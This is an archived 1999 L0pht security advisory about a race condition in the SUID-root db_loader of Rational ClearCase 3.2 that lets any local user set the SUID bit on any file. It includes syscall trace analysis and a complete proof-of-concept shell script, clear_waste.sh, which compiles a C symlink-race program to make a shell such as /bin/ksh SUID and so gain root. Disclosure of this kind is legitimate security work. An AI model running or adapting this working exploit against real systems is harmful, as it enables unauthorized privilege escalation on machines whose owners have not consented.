L0pht Advisory - Rational Software ClearCase root exploitable

From: Dr. Mudge (mudgeat_private)
Date: Mon Feb 08 1999 - 15:26:55 PST

  • Next message: aleph1at_private: "Microsoft Security Bulletin (MS99-004)"

                           L0pht Security Advisory
    
                         Advisory released Jan 8 1999
                 Application: Rational Software's Clear Case v3.2
                    Severity: any local user can become root
    
                           Author: mudgeat_private
                     http://www.L0pht.com/advisories.html
    
    ---
    Overview :
    ---
    
      ClearCase is a configuration management program from Rational Software.
      Similar in some ways to CVS or Visual Source Safe.
    
      The default installation of ClearCase installs the program db_loader
      SUID root. One of the many security problems in this program is a race
      condition which enables any user to add the SUID bit to any file on the
      system.
    
      For what it is worth IDC and other groups have given Clear Case awards.
      Presumably these awards have nothing to do with security.
    
    ---
    Example :
    ---
    
      > ls -l /bin/ksh
      -r-xr-xr-x   2 bin      bin       186356 Jan 21  1998 /bin/ksh
    
      > ./clear_waste.sh /bin/ksh
    
      Clear Case proof of concept exploit code - mudgeat_private 2.5.1999
      one beer please!
    
      creating race grinder....
      created!
    
      compiling race grinder...
      compiled! Launching attack.... be patient
    
      Looks succesfull!
      -r-sr-xr-x   2 bin      bin       186356 Jan 21  1998 /bin/ksh
    
      don't forget to get rid of /var/tmp/cleartest
    
    
    ---
    Description :
    ---
    
    The database loader for pure atria is SUID root. A likely candidate for
    mayhem and deliciousness. In addition it is around 1.5 megs in size -
    way beyond the size of manageability for a program with elevated
    priveleges.
    
    -r-sr-xr-x  1 root other  1527532 Jan 21  1998
    /usr/atria/sun5/etc/db_loader
    
    Taking a quick look at the binary shows plenty of places to exploit the
    default behaviour.
    
    [output from a truss -f -a -e -o /usr/atria/sun5/etc/db_loader /tmp]
    
    1372:   stat("/usr/atria/etc/db_dumper", 0xEFFFE400)    = 0
    1372:   access("/tmp/db_dumper", 0)                     Err#2 ENOENT
    1372:   open("/usr/atria/etc/db_dumper", O_RDONLY)      = 3
    1372:   open("/tmp/db_dumper", O_WRONLY|O_CREAT|O_TRUNC, 0100555) = 4
    1372:   read(3, "7F E L F010201\0\0\0\0\0".., 65536)    = 65536
    1372:   write(4, "7F E L F010201\0\0\0\0\0".., 65536)   = 65536
    1372:   read(3, " _ d e f a u l t\0 r _ t".., 65536)    = 65536
    
    ..... you got it - they are copying db_dumper file to the directory you
    specified.
    
    1372:   read(3, 0xEFFED690, 65536)                      = 0
    1372:   close(3)                                        = 0
    1372:   fdsync(4, O_RDONLY|O_SYNC)                      = 0
    1372:   close(4)                                        = 0
    1372:   utime("/tmp/db_dumper", 0xEFFFD6F0)             = 0
    1372:   stat("/tmp/db_dumper", 0xEFFFE728)              = 0
    1372:   chmod("/tmp/db_dumper", 0104555)                = 0
    
    And low and behold the ever popular chmod(2) call
    
    So - we should have plenty of time for the race condition since they are
    using calls which only return the information that was true at that
    explicit moment in time. This type of coding assumes that the piece of
    information being checked is invariant.  /usr/atria/etc/db_dumper is also
    a ~1.5 meg file so we have plenty of time to unlink and replace it while
    the copy is taking place.
    
    Most likely it would be even eaiser as we imagine that they will execute
    the program later on... as it is this machine did not have a license
    server it was permited to communicate with so it bombs out before any such
    what-not can happen.
    
    ---
    Exploit code :
    ---
    
    ------ begin clear_waste.sh --------
    
    #!/bin/sh
    #
    # This is sample code that takes advantage of a race condition in
    # Pure Atria's Clear Case db_loader program. The program will retain
    # ownership of the file pointed to on the command line and have
    # the clear case db_loader change the permissions to SUID
    #  .mudgeat_private  2.5.1999
    #
    RACE_PROG=./clear_race
    RACE_CODE=./clear_race.c
    # you probabaly need to change the following to reflect your
    # system and setup
    #NICE=/usr/bin/nice
    CC=/usr/local/bin/gcc
    DB_LOADER=/usr/atria/sun5/etc/db_loader
    RM=/bin/rm
    LS=/bin/ls
    MKDIR=/bin/mkdir
    # you need to own the DEST DIR so you can delete files that you don't
    # directly own
    DEST_DIR=/var/tmp/cleartest.$$
    
    if [ "$#" -ne "1" ] ; then
      echo "usage: `basename $0` file_to_make_suid"
      exit
    fi
    
    TARGET=$1
    
    if [ ! -f ${TARGET} ] ; then
      echo "target file must exist"
      exit
    fi
    
    echo
    echo "Clear Case proof of concept exploit code - mudgeat_private 2.5.1999"
    echo " one beer please!"
    echo
    
    ${MKDIR} ${DEST_DIR}
    if [ $? -gt 0 ] ; then
      echo "go get rid of ${DEST_DIR} and try again..."
      exit
    fi
    
    cd ${DEST_DIR}
    
    # create the race runner
    echo "creating race grinder...."
    cat > ${RACE_CODE} << FOEFOE
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <stdio.h>
    
    main(int argc, char *argv[])
    {
      struct stat statbuf;
    
      printf("%d\n", argc);
    
      if (argc != 2){
        printf("bzzzzt! - wrong usage\n");
        exit(0);
      }
    
      while (1){
        if (stat("./db_dumper", &statbuf) == 0){
          unlink("./db_dumper");
          symlink(argv[1], "./db_dumper");
          exit(0);
        }
      }
    }
    FOEFOE
    echo "created!"
    echo
    
    # compile it
    echo "compiling race grinder..."
    ${CC} -O2 -o ${RACE_PROG} ${RACE_CODE}
    
    if [ ! -f ${RACE_PROG} ] ; then
      echo "compile failed?"
      ${RM} -f ${RACE_CODE}
      exit
    fi
    
    echo "compiled! Launching attack.... be patient"
    echo
    
    
    ${RACE_PROG} ${TARGET} &
    # let us give the progie a second or two to load up and get the runtime
    # crap set
    sleep 2
    
    #${NICE} -n 2 ${DB_LOADER} ${DEST_DIR} > /dev/null 2>&1
    # if you keep failing try the above and potentially increase the nice
    value
    ${DB_LOADER} ${DEST_DIR} > /dev/null 2>&1
    
    if [ -u ${TARGET} ] ; then
      echo "Looks succesfull!"
      ${LS} -l ${TARGET}
      echo
      echo "don't forget to get rid of ${DEST_DIR}"
      echo
      exit
    fi
    
    echo "doesn't look like it worked... "
    echo "try again - after all it's a race condition!"
    echo "don't forget to get rid of ${DEST_DIR}
    echo
    
    -------- end clear_waste.sh --------
    
    
    mudgeat_private
    ---------------
    For more L0pht (that's L - zero - P - H - T) advisories check out:
    http://www.l0pht.com/advisories.html
    ---------------
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:33:07 PDT